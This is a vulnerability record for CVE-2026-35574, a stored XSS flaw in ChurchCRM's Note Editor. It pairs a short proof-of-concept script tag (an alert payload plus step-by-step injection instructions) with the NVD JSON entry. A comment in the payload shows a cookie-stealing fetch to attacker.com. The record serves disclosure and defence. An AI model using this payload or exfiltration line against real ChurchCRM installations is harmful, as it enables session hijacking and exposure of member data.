CVE-2026-35574

<!-- Proof of Concept for Stored XSS in ChurchCRM Note Editor --> <!-- Payload to be injected into the Note Editor --> <script> // Example payload to demonstrate execution context alert('CVE-2026-35574 Stored XSS Executed'); // In a real attack, this could be: // fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Usage Instructions: --> <!-- 1. Log in to ChurchCRM with a user that has 'Add Note' permissions. --> <!-- 2. Navigate to a person or family profile. --> <!-- 3. Click 'Add Note'. --> <!-- 4. Paste the script tag above into the note text area. --> <!-- 5. Save the note. --> <!-- 6. Wait for an Administrator to view the profile/note. -->

{"cve": {"id": "CVE-2026-35574", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:32.963", "lastModified": "2026-04-16T17:49:56.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 6.5.3, a stored Cross-Site Scripting (XSS) vulnerability in ChurchCRM's Note Editor allows authenticated users with note-adding permissions to execute arbitrary JavaScript code in the context of other users' browsers, including administrators. This can lead to session hijacking, privilege escalation, and unauthorized access to sensitive church member data. This vulnerability is fixed in 6.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "5B1435CA-1370-4154-85E0-6AF1846DEEBD"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-cx82-8xrh-7f5c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-cx82-8xrh-7f5c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}